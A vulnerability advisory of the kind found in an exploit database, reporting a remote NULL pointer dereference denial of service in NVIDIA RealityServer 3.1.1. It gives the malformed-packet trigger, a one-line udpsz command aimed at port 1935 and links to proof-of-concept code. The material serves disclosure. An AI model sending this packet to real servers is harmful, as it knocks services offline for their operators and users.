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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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source: https://www.securityfocus.com/bid/48476/info

RealityServer Web Services is prone to a remote denial-of-service vulnerability caused by a NULL pointer dereference.

Attackers can exploit this issue to cause the server to dereference an invalid memory location, resulting in a denial-of-service condition. Due to the nature of this issue arbitrary code-execution maybe possible; however this has not been confirmed.

RealityServer Web Services 3.1.1 build 144525.5057 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15992.zip




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                             Luigi Auriemma

Application:  NVIDIA RealityServer
              http://www.realityserver.com/products/realityserver.html
              http://www.nvidia.com/object/realityserver.html
Versions:     <= 3.1.1 build 144525.5057
Platforms:    Windows and Linux
Bug:          NULL pointer
Exploitation: remote, versus server
Date:         27 Jun 2011 (found and reported on my forum 04 Dec 2010)
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"The RealityServer� platform is a powerful combination of NVIDIA�
Tesla� GPUs and 3D web services software that delivers interactive,
photorealistic applications over the web, enabling product designers,
architects and consumers to easily visualize 3D scenes with remarkable
realism."


#######################################################################

======
2) Bug
======


If the byte at offset 0xc01 of the packet is >= 0x80 there will be a
NULL pointer dereference.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip

  udpsz -C 03 -b 0xff -T SERVER 1935 0xc02


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======
4) Fix
======


No fix.


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